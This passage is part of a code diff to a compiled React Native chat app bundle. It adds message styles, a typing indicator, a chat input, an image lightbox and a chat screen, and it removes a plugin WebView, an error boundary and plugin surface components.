+ backgroundColor: import_core9.ada.orangeSoft,
1346
+ borderColor: "rgba(255, 122, 40, 0.35)",
1347
+ borderRadius: import_core9.borderRadius.lg,
1348
+ maxWidth: "90%"
1349
+ },
1350
+ notificationLeftStripe: {
1351
+ width: 3,
1352
+ alignSelf: "stretch",
1353
+ backgroundColor: import_core9.ada.orange,
1354
+ borderRadius: 2,
1355
+ marginRight: 4
1356
+ },
1357
+ notificationHeader: {
1358
+ flexDirection: "row",
1359
+ alignItems: "center",
1360
+ gap: 6,
1361
+ marginBottom: 6
1362
+ },
1363
+ notificationHeaderIcon: {
1364
+ fontSize: 12
1365
+ },
1366
+ notificationHeaderText: {
1367
+ color: import_core9.ada.orangeDeep,
1368
+ fontSize: 11,
1369
+ fontWeight: "700",
1370
+ letterSpacing: 0.6,
1371
+ textTransform: "uppercase",
1372
+ fontFamily: fontFam3
1373
+ },
1374
+ userText: {
1375
+ color: import_core9.ada.userBubbleText,
1376
+ fontSize: import_core9.fontSize.md,
1377
+ lineHeight: 22,
1378
+ fontFamily: fontFam3
1379
+ },
1380
+ timeText: {
1381
+ fontSize: 11,
1382
+ color: import_core9.ada.inkMuted,
1383
+ alignSelf: "flex-end",
1384
+ marginTop: 4,
1385
+ fontFamily: fontFam3
1386
+ },
1387
+ timeTextUser: {
1388
+ color: "rgba(250,246,238,0.55)"
1389
+ },
1390
+ attachments: {
1391
+ flexDirection: "row",
1392
+ flexWrap: "wrap",
1393
+ gap: 6,
1394
+ marginBottom: 8
1395
+ },
1396
+ attachmentImage: {
1397
+ width: 120,
1398
+ height: 90,
1399
+ borderRadius: 8
1400
+ },
1401
+ attachmentFile: {
1402
+ backgroundColor: "rgba(255,255,255,0.15)",
1403
+ borderRadius: 8,
1404
+ paddingHorizontal: 10,
1405
+ paddingVertical: 6
1406
+ },
1407
+ attachmentFileName: {
1408
+ color: "rgba(255,255,255,0.8)",
1409
+ fontSize: 11,
1410
+ maxWidth: 100
1411
+ },
1412
+ copiedBadge: {
1413
+ position: "absolute",
1414
+ top: 6,
1415
+ right: 6,
1416
+ backgroundColor: "#5A8A5C",
1417
+ paddingHorizontal: 8,
1418
+ paddingVertical: 2,
1419
+ borderRadius: import_core9.borderRadius.sm
1420
+ },
1421
+ copiedText: {
1422
+ color: "#fff",
1423
+ fontSize: import_core9.fontSize.xs,
1424
+ fontWeight: "600"
1425
+ },
1426
+ toolCalls: {
1427
+ marginTop: 8,
1428
+ borderTopWidth: 1,
1429
+ borderTopColor: import_core9.ada.border,
1430
+ paddingTop: 6
1431
+ },
1432
+ toolToggle: {
1433
+ flexDirection: "row",
1434
+ alignItems: "center",
1435
+ gap: 6
1436
+ },
1437
+ toolLabel: {
1438
+ color: import_core9.ada.inkSoft,
1439
+ fontSize: import_core9.fontSize.xs,
1440
+ fontWeight: "500"
1441
+ },
1442
+ toolChevron: {
1443
+ color: import_core9.ada.inkMuted,
1444
+ fontSize: 8
1445
+ },
1446
+ toolItem: {
1447
+ marginTop: 4,
1448
+ paddingLeft: 8
1449
+ },
1450
+ toolName: {
1451
+ color: import_core9.ada.inkSoft,
1452
+ fontSize: import_core9.fontSize.xs,
1453
+ fontFamily: "monospace"
1454
+ },
1455
+ toolSkill: {
1456
+ color: import_core9.ada.orangeDeep,
1457
+ fontSize: import_core9.fontSize.xs
1458
+ }
1459
+ });
1460
+ var markdownStyles = import_react_native7.StyleSheet.create({
1461
+ body: {
1462
+ color: import_core9.ada.botBubbleText,
1463
+ fontSize: import_core9.fontSize.md,
1464
+ lineHeight: 22,
1465
+ fontFamily: fontFam3
1466
+ },
1467
+ paragraph: {
1468
+ marginTop: 0,
1469
+ marginBottom: 4
1470
+ },
1471
+ strong: {
1472
+ fontWeight: "700",
1473
+ color: import_core9.ada.botBubbleText
1474
+ },
1475
+ em: {
1476
+ fontStyle: "italic"
1477
+ },
1478
+ code_inline: {
1479
+ backgroundColor: import_core9.ada.paperDeep,
1480
+ color: import_core9.ada.orangeDeep,
1481
+ paddingHorizontal: 5,
1482
+ paddingVertical: 1,
1483
+ borderRadius: 4,
1484
+ fontFamily: "monospace",
1485
+ fontSize: import_core9.fontSize.sm
1486
+ },
1487
+ fence: {
1488
+ backgroundColor: import_core9.ada.paperDeep,
1489
+ padding: 10,
1490
+ borderRadius: 10
1491
+ },
1492
+ fenceText: {
1493
+ fontFamily: "monospace",
1494
+ fontSize: import_core9.fontSize.sm,
1495
+ color: import_core9.ada.ink
1496
+ },
1497
+ link: {
1498
+ color: import_core9.ada.orangeDeep
1499
+ },
1500
+ list_item: {
1501
+ color: import_core9.ada.botBubbleText
1502
+ },
1503
+ bullet_list: {
1504
+ marginVertical: 4
1505
+ }
1506
+ });
1507
+
1508
+ // src/chat/TypingIndicator.tsx
1509
+ var import_react_native8 = require("react-native");
1510
+ var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
1511
+ var import_jsx_runtime9 = require("react/jsx-runtime");
1512
+ function TypingIndicator() {
1513
+ return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native8.View, { style: styles7.row, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_plugin_runtime7.AdaOrb, { size: 32, state: "thinking" }) });
1514
+ }
1515
+ var styles7 = import_react_native8.StyleSheet.create({
1516
+ row: {
1517
+ flexDirection: "row",
1518
+ alignItems: "center",
1519
+ marginBottom: 12,
1520
+ paddingHorizontal: 16,
1521
+ paddingVertical: 4
1483
1522
  }
1484
- return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.View, { style: styles9.container, children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
1485
- import_react_native_webview.WebView,
1486
- {
1487
- ref: webViewRef,
1488
- source: { uri: url },
1489
- style: styles9.webview,
1490
- javaScriptEnabled: true,
1491
- domStorageEnabled: true,
1492
- allowsInlineMediaPlayback: true,
1493
- mediaPlaybackRequiresUserAction: false,
1494
- mixedContentMode: "never",
1495
- originWhitelist,
1496
- allowsBackForwardNavigationGestures: false,
1497
- setSupportMultipleWindows: false,
1498
- javaScriptCanOpenWindowsAutomatically: false,
1499
- onShouldStartLoadWithRequest: (req) => {
1500
- if (!isAllowedPluginUrl(req.url)) {
1501
- console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
1502
- return false;
1503
- }
1504
- return true;
1505
- },
1506
- injectedJavaScriptBeforeContentLoaded: bridgeJS,
1507
- onMessage: handleMessage,
1508
- onLoad: () => {
1509
- setTimeout(sendInit, 100);
1510
- setTimeout(sendInit, 500);
1511
- setTimeout(sendInit, 1200);
1512
- },
1513
- onError: (syntheticEvent) => {
1514
- const { nativeEvent } = syntheticEvent;
1515
- console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
1516
- setError(`WebView error: ${nativeEvent.description}`);
1517
- },
1518
- onHttpError: (syntheticEvent) => {
1519
- const { nativeEvent } = syntheticEvent;
1520
- console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
1521
- if (nativeEvent.statusCode >= 400) {
1522
- setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
1523
- }
1524
- },
1525
- startInLoadingState: true,
1526
- renderLoading: () => /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_react_native9.View, { style: styles9.webviewLoading, children: [
1527
- /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.ActivityIndicator, { size: "small", color: import_core9.ada.orange }),
1528
- /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_react_native9.Text, { style: styles9.loadingText, children: "Loading plugin..." })
1529
- ] }),
1530
- ...import_react_native9.Platform.OS === "ios" ? { bounces: false } : {}
1523
+ });
1524
+
1525
+ // src/chat/ChatInput.tsx
1526
+ var import_react8 = require("react");
1527
+ var import_react_native9 = require("react-native");
1528
+ var import_react_native_svg = __toESM(require("react-native-svg"));
1529
+ var import_core10 = require("@ateam-ai-mobile/core");
1530
+ var import_plugin_runtime8 = require("@ateam-ai-mobile/plugin-runtime");
1531
+ var import_jsx_runtime10 = require("react/jsx-runtime");
1532
+ function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
1533
+ const [text, setText] = (0, import_react8.useState)("");
1534
+ const [height, setHeight] = (0, import_react8.useState)(40);
1535
+ const inputRef = (0, import_react8.useRef)(null);
1536
+ (0, import_react8.useEffect)(() => {
1537
+ if (prefill) {
1538
+ setText(prefill);
1539
+ inputRef.current?.focus();
1531
1540
  }
1532
- ) });
1541
+ }, [prefill]);
1542
+ const handleSend = (0, import_react8.useCallback)(() => {
1543
+ const trimmed = text.trim();
1544
+ if (!trimmed) return;
1545
+ (0, import_plugin_runtime8.getHaptics)()?.impact("light");
1546
+ onSend(trimmed);
1547
+ setText("");
1548
+ setHeight(40);
1549
+ }, [text, loading, onSend]);
1550
+ const canSend = text.trim().length > 0;
1551
+ return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.View, { style: styles8.dock, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native9.View, { style: styles8.inputRow, children: [
1552
+ onCallStart && /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native9.Pressable, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.default, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: import_core10.colors.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
1553
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1554
+ import_react_native9.TextInput,
1555
+ {
1556
+ ref: inputRef,
1557
+ style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
1558
+ value: text,
1559
+ onChangeText: setText,
1560
+ onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
1561
+ placeholder: placeholder || "Message A-Team...",
1562
+ placeholderTextColor: import_core10.colors.light.textMuted,
1563
+ multiline: true,
1564
+ returnKeyType: "default",
1565
+ blurOnSubmit: false,
1566
+ onSubmitEditing: () => {
1567
+ if (import_react_native9.Platform.OS === "web") handleSend();
1568
+ }
1569
+ }
1570
+ ),
1571
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1572
+ import_react_native9.Pressable,
1573
+ {
1574
+ style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
1575
+ onPress: handleSend,
1576
+ disabled: !canSend,
1577
+ children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native_svg.default, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : import_core10.colors.light.textMuted, strokeWidth: 2, children: [
1578
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
1579
+ /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native_svg.Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
1580
+ ] })
1581
+ }
1582
+ )
1583
+ ] }) });
1533
1584
  }
1534
- var styles9 = import_react_native9.StyleSheet.create({
1535
- container: {
1536
- flex: 1,
1537
- backgroundColor: import_core9.ada.paper
1585
+ var styles8 = import_react_native9.StyleSheet.create({
1586
+ dock: {
1587
+ paddingHorizontal: 12,
1588
+ paddingVertical: 8,
1589
+ backgroundColor: import_core10.colors.light.bgPrimary,
1590
+ borderTopWidth: 0.5,
1591
+ borderTopColor: import_core10.colors.light.border
1538
1592
  },
1539
- center: {
1540
- flex: 1,
1541
- justifyContent: "center",
1542
- alignItems: "center",
1543
- backgroundColor: import_core9.ada.paper,
1544
- paddingHorizontal: 32
1593
+ inputRow: {
1594
+ flexDirection: "row",
1595
+ alignItems: "flex-end",
1596
+ backgroundColor: import_core10.colors.light.bgInput,
1597
+ borderRadius: import_core10.borderRadius.xl,
1598
+ borderWidth: 1,
1599
+ borderColor: import_core10.colors.light.border,
1600
+ paddingHorizontal: 4,
1601
+ paddingVertical: 4,
1602
+ gap: 4
1545
1603
  },
1546
- errorText: {
1547
- color: "#C15545",
1548
- fontSize: 16,
1549
- textAlign: "center"
1604
+ callBtn: {
1605
+ width: 36,
1606
+ height: 36,
1607
+ borderRadius: 18,
1608
+ justifyContent: "center",
1609
+ alignItems: "center"
1550
1610
  },
1551
- webview: {
1611
+ input: {
1552
1612
  flex: 1,
1553
- backgroundColor: import_core9.ada.paper
1613
+ fontSize: 16,
1614
+ color: import_core10.colors.light.textPrimary,
1615
+ paddingHorizontal: 8,
1616
+ paddingVertical: 8,
1617
+ maxHeight: 120
1554
1618
  },
1555
- webviewLoading: {
1556
- position: "absolute",
1557
- top: 0,
1558
- left: 0,
1559
- right: 0,
1560
- bottom: 0,
1619
+ sendBtn: {
1620
+ width: 36,
1621
+ height: 36,
1622
+ borderRadius: 18,
1561
1623
  justifyContent: "center",
1562
1624
  alignItems: "center",
1563
- backgroundColor: import_core9.ada.paper,
1564
- gap: 12
1625
+ backgroundColor: import_core10.colors.light.bgTertiary
1565
1626
  },
1566
- loadingText: {
1567
- color: import_core9.ada.inkSoft,
1568
- fontSize: 14
1627
+ sendBtnActive: {
1628
+ backgroundColor: import_core10.colors.light.accent
1569
1629
  }
1570
1630
  });
1571
1631
 
1572
- // src/plugin/Plugin.tsx
1573
- var import_jsx_runtime10 = require("react/jsx-runtime");
1574
- var PluginErrorBoundary = class extends import_react7.default.Component {
1575
- constructor() {
1576
- super(...arguments);
1577
- this.state = { hasError: false, error: null };
1578
- }
1579
- static getDerivedStateFromError(error) {
1580
- return { hasError: true, error };
1581
- }
1582
- componentDidCatch(error, info) {
1583
- console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
1632
+ // src/Lightbox.tsx
1633
+ var import_react_native10 = require("react-native");
1634
+ var import_core11 = require("@ateam-ai-mobile/core");
1635
+ var import_jsx_runtime11 = require("react/jsx-runtime");
1636
+ function Lightbox() {
1637
+ const uri = useLightboxStore((s) => s.uri);
1638
+ const hide = useLightboxStore((s) => s.hide);
1639
+ if (!uri) return null;
1640
+ return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_react_native10.Pressable, { style: styles9.backdrop, onPress: hide, children: [
1641
+ /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1642
+ import_react_native10.Image,
1643
+ {
1644
+ source: {
1645
+ uri,
1646
+ ...uri.startsWith("http") ? {
1647
+ headers: { Authorization: `Bearer ${(0, import_core11.getConfig)().tokenProvider.getToken()}` }
1648
+ } : {}
1649
+ },
1650
+ style: styles9.image,
1651
+ resizeMode: "contain"
1652
+ }
1653
+ ),
1654
+ /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.View, { style: styles9.closeHint, children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native10.Text, { style: styles9.closeHintText, children: "Tap to close" }) })
1655
+ ] }) });
1656
+ }
1657
+ var styles9 = import_react_native10.StyleSheet.create({
1658
+ backdrop: {
1659
+ flex: 1,
1660
+ backgroundColor: "rgba(0,0,0,0.92)",
1661
+ justifyContent: "center"
1662
+ },
1663
+ image: {
1664
+ width: "100%",
1665
+ height: "85%"
1666
+ },
1667
+ closeHint: {
1668
+ position: "absolute",
1669
+ bottom: 40,
1670
+ alignSelf: "center"
1671
+ },
1672
+ closeHintText: {
1673
+ color: "rgba(255,255,255,0.6)",
1674
+ fontSize: 13
1584
1675
  }
1585
- render() {
1586
- if (this.state.hasError) {
1587
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.error, children: [
1588
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorTitle, children: "Plugin Error" }),
1589
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
1590
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1591
- import_react_native10.Pressable,
1592
- {
1593
- style: styles10.retryBtn,
1594
- onPress: () => this.setState({ hasError: false, error: null }),
1595
- children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.retryText, children: "Retry" })
1596
- }
1597
- )
1598
- ] });
1676
+ });
1677
+
1678
+ // src/AdasChatScreen.tsx
1679
+ var import_jsx_runtime12 = require("react/jsx-runtime");
1680
+ function isSameDay2(a, b) {
1681
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1682
+ }
1683
+ function AdasChatScreen({
1684
+ onCallStart,
1685
+ placeholder,
1686
+ footerAccessory,
1687
+ withLightbox = true
1688
+ }) {
1689
+ const messages = (0, import_core12.useChatStore)((s) => s.messages);
1690
+ const loading = (0, import_core12.useChatStore)((s) => s.loading);
1691
+ const conversationLoaded = (0, import_core12.useChatStore)((s) => s.conversationLoaded);
1692
+ const loadConversation = (0, import_core12.useChatStore)((s) => s.loadConversation);
1693
+ const sendMessage = (0, import_core12.useChatStore)((s) => s.sendMessage);
1694
+ const listRef = (0, import_react9.useRef)(null);
1695
+ const [refreshing, setRefreshing] = (0, import_react9.useState)(false);
1696
+ const [prefill, setPrefill] = (0, import_react9.useState)("");
1697
+ (0, import_react9.useEffect)(() => {
1698
+ if (!conversationLoaded) loadConversation();
1699
+ }, [conversationLoaded, loadConversation]);
1700
+ (0, import_react9.useEffect)(() => {
1701
+ const unsub = import_core12.pluginCommandEmitter.on("prepare-chat-message", ({ text }) => {
1702
+ if (text) setPrefill(text);
1703
+ });
1704
+ return unsub;
1705
+ }, []);
1706
+ const useInverted = import_react_native11.Platform.OS !== "web";
1707
+ const listData = (0, import_react9.useMemo)(
1708
+ () => useInverted ? [...messages].reverse() : messages,
1709
+ [messages, useInverted]
1710
+ );
1711
+ const scrollToLatest = (0, import_react9.useCallback)((animated) => {
1712
+ if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1713
+ else listRef.current?.scrollToEnd({ animated });
1714
+ }, [useInverted]);
1715
+ const handleSend = (0, import_react9.useCallback)((text) => {
1716
+ setPrefill("");
1717
+ sendMessage(text);
1718
+ scrollToLatest(true);
1719
+ }, [sendMessage, scrollToLatest]);
1720
+ const handleRefresh = (0, import_react9.useCallback)(async () => {
1721
+ setRefreshing(true);
1722
+ try {
1723
+ await loadConversation();
1724
+ } catch {
1599
1725
  }
1600
- return this.props.children;
1601
- }
1602
- };
1603
- function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
1604
- const { plugin, loading, error, bundleMissing } = (0, import_plugin_runtime6.usePlugin)(id, manifest);
1605
- const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
1606
- const bridge = (0, import_plugin_runtime6.useNativeBridge)(id, connectorId, commandBufferRef);
1607
- const native = (0, import_plugin_runtime6.getPluginNative)();
1608
- const theme = (0, import_plugin_runtime6.usePluginTheme)();
1609
- const user = (0, import_core10.getUser)();
1610
- const context = (0, import_react7.useMemo)(() => ({
1611
- tenant: (0, import_core10.getTenant)(),
1612
- pluginId: id,
1613
- connectorId,
1614
- user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
1615
- }), [id, connectorId, user?.actorId, user?.name]);
1616
- const iframeUrl = manifest?.render?.iframeUrl;
1617
- if (bundleMissing && iframeUrl) {
1618
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
1619
- }
1620
- if (loading) {
1621
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_react_native10.View, { style: styles10.center, children: [
1622
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.ActivityIndicator, { size: "small", color: import_core10.colors.dark.accent }),
1623
- /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.loadingText, children: "Loading plugin..." })
1726
+ setRefreshing(false);
1727
+ }, [loadConversation]);
1728
+ const renderItem = (0, import_react9.useCallback)(({ item, index }) => {
1729
+ const older = useInverted ? listData[index + 1] : listData[index - 1];
1730
+ const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1731
+ return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native11.View, { children: [
1732
+ showDaySep && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(DaySeparator, { date: item.timestamp }),
1733
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(MessageBubble, { message: item })
1624
1734
  ] });
1625
- }
1626
- if (error || !plugin) {
1627
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.View, { style: styles10.center, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_react_native10.Text, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
1628
- }
1629
- const { Component } = plugin;
1630
- return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(Component, { bridge, native, theme, context, props: engineProps }) });
1735
+ }, [listData, useInverted]);
1736
+ const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(TypingIndicator, {}) : null;
1737
+ return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(
1738
+ import_react_native11.KeyboardAvoidingView,
1739
+ {
1740
+ style: styles10.root,
1741
+ behavior: import_react_native11.Platform.OS === "ios" ? "padding" : void 0,
1742
+ children: [
1743
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1744
+ import_react_native11.FlatList,
1745
+ {
1746
+ ref: listRef,
1747
+ style: styles10.list,
1748
+ data: listData,
1749
+ inverted: useInverted,
1750
+ keyExtractor: (m) => m.id,
1751
+ renderItem,
1752
+ ListHeaderComponent: useInverted ? typingIndicator : null,
1753
+ ListFooterComponent: useInverted ? null : typingIndicator,
1754
+ onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1755
+ refreshControl: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native11.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core12.ada.orange }),
1756
+ keyboardShouldPersistTaps: "handled",
1757
+ contentContainerStyle: styles10.listContent
1758
+ }
1759
+ ),
1760
+ footerAccessory,
1761
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1762
+ ChatInput,
1763
+ {
1764
+ onSend: handleSend,
1765
+ onCallStart,
1766
+ loading,
1767
+ prefill,
1768
+ placeholder
1769
+ }
1770
+ ),
1771
+ withLightbox && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(Lightbox, {}),
1772
+ /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(WidgetHost, {})
1773
+ ]
1774
+ }
1775
+ );
1631
1776
  }
1632
- var styles10 = import_react_native10.StyleSheet.create({
1633
- center: {
1634
- flex: 1,
1635
- justifyContent: "center",
1636
- alignItems: "center",
1637
- backgroundColor: import_core10.colors.dark.bgPrimary,
1638
- paddingHorizontal: 32,
1639
- gap: 12
1640
- },
1641
- loadingText: {
1642
- color: import_core10.colors.dark.textSecondary,
1643
- fontSize: 14
1644
- },
1645
- error: {
1777
+ var styles10 = import_react_native11.StyleSheet.create({
1778
+ root: {
1646
1779
  flex: 1,
1647
- justifyContent: "center",
1648
- alignItems: "center",
1649
- backgroundColor: import_core10.colors.dark.bgPrimary,
1650
- paddingHorizontal: 32,
1651
- gap: 8
1652
- },
1653
- errorTitle: {
1654
- color: import_core10.colors.dark.red,
1655
- fontSize: 16,
1656
- fontWeight: "600"
1657
- },
1658
- errorMessage: {
1659
- color: import_core10.colors.dark.textSecondary,
1660
- fontSize: 14,
1661
- textAlign: "center"
1780
+ backgroundColor: import_core12.ada.paper
1662
1781
  },
1663
- retryBtn: {
1664
- marginTop: 12,
1665
- paddingHorizontal: 20,
1666
- paddingVertical: 10,
1667
- backgroundColor: import_core10.colors.dark.accentSoft,
1668
- borderRadius: 8
1782
+ list: {
1783
+ flex: 1
1669
1784
  },
1670
- retryText: {
1671
- color: import_core10.colors.dark.accent,
1672
- fontSize: 14,
1673
- fontWeight: "600"
1785
+ listContent: {
1786
+ paddingVertical: 12
1674
1787
  }
1675
1788
  });
1676
1789
 
1677
- // src/plugin/PluginSurface.tsx
1678
- var import_react8 = require("react");
1679
- var import_react_native11 = require("react-native");
1680
- var import_core11 = require("@ateam-ai-mobile/core");
1681
- var import_plugin_runtime7 = require("@ateam-ai-mobile/plugin-runtime");
1682
- var import_jsx_runtime11 = require("react/jsx-runtime");
1683
- function PluginSurface({ pluginId, surface, dismiss, props }) {
1684
- const [manifest, setManifest] = (0, import_react8.useState)(null);
1685
- const [error, setError] = (0, import_react8.useState)(null);
1686
- (0, import_react8.useEffect)(() => {
1687
- let cancelled = false;
1688
- (0, import_plugin_runtime7.getPlugin)(pluginId).then((m) => {
1689
- if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
1690
- }).catch((e) => {
1691
- if (!cancelled) setError(e?.message || "Failed to load");
1692
- });
1693
- return () => {
1694
- cancelled = true;
1695
- };
1696
- }, [pluginId]);
1697
- const body = manifest ? /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.View, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_react_native11.ActivityIndicator, { color: import_core11.ada.orange }) });
1698
- if (surface.type === "fullscreen") {
1699
- return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1700
- import_plugin_runtime7.SurfaceFullscreen,
1701
- {
1702
- visible: true,
1703
- onClose: dismiss,
1704
- status: surface.title,
1705
- showWordmark: true,
1706
- closeIcon: "x",
1707
- closeLabel: "Close",
1708
- children: body
1709
- }
1710
- );
1711
- }
1712
- return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1713
- import_plugin_runtime7.SurfaceDrawer,
1714
- {
1715
- visible: true,
1716
- onClose: dismiss,
1717
- title: surface.title || pluginId,
1718
- subtitle: surface.subtitle,
1719
- privacy: !!surface.privacy,
1720
- children: body
1721
- }
1722
- );
1723
- }
1724
-
1725
1790
  // src/widgets/WidgetWebView.tsx
1726
- var import_react9 = require("react");
1791
+ var import_react10 = require("react");
1727
1792
  var import_react_native12 = require("react-native");
1728
1793
  var import_react_native_webview2 = require("react-native-webview");
1729
- var import_core12 = require("@ateam-ai-mobile/core");
1730
1794
  var import_core13 = require("@ateam-ai-mobile/core");
1731
- var import_jsx_runtime12 = require("react/jsx-runtime");
1795
+ var import_core14 = require("@ateam-ai-mobile/core");
1796
+ var import_jsx_runtime13 = require("react/jsx-runtime");
1732
1797
  var fontFam4 = import_react_native12.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1733
1798
  function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1734
- const [loading, setLoading] = (0, import_react9.useState)(true);
1735
- const [error, setError] = (0, import_react9.useState)(null);
1736
- const uri = (0, import_react9.useMemo)(() => {
1799
+ const [loading, setLoading] = (0, import_react10.useState)(true);
1800
+ const [error, setError] = (0, import_react10.useState)(null);
1801
+ const uri = (0, import_react10.useMemo)(() => {
1737
1802
  if (!bundleUrl) return null;
1738
1803
  if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
1739
- return `${(0, import_core13.getCoreApiUrl)()}${bundleUrl}`;
1804
+ return `${(0, import_core14.getCoreApiUrl)()}${bundleUrl}`;
1740
1805
  }, [bundleUrl]);
1741
- return /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1806
+ return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
1742
1807
  import_react_native12.Modal,
1743
1808
  {
1744
1809
  visible,
1745
1810
  animationType: "slide",
1746
1811
  presentationStyle: "pageSheet",
1747
1812
  onRequestClose: onClose,
1748
- children: /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.root, children: [
1749
- /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
1750
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
1751
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1752
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.closeBtn })
1813
+ children: /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.root, children: [
1814
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.bar, children: [
